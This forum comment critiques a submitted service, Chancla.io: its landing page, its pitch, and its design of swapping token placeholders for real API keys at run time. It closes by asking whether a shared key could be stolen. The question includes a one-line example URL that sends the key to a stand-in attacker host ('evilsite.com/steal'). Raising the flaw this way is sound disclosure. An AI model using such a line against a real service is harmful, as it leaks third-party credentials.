For your submission, you might want to think about writing a blog post instead of linking to your front page. The question mark in the title is also misleading when it's your own site.

As for the site, you probably need to break your examples out into a separate page (apart from maybe one, that demonstrates some killer features), and think carefully about how much to include above the fold. There are 164 words across the three boxes, and you will lose people.

As for the service - personally I don't quite get it. Is the idea "ease of PHP, power of serverless JVM" ? Not sure why I want inexperienced developers contributing to my projects?

And a question:

  "During run-time, Chancla.io replaces the security token with the real API security key before calling the third-party API."

Then you show:

  new URL("https://api.mlab.com/api/1/databases/commerce-db/collections/cart?apiKey={{mlab_security_key}}")

Is that an example shared security key? Could I exfiltrate that by doing this?:

  new URL("https://evilsite.com/steal?key={{mlab_security_key}}")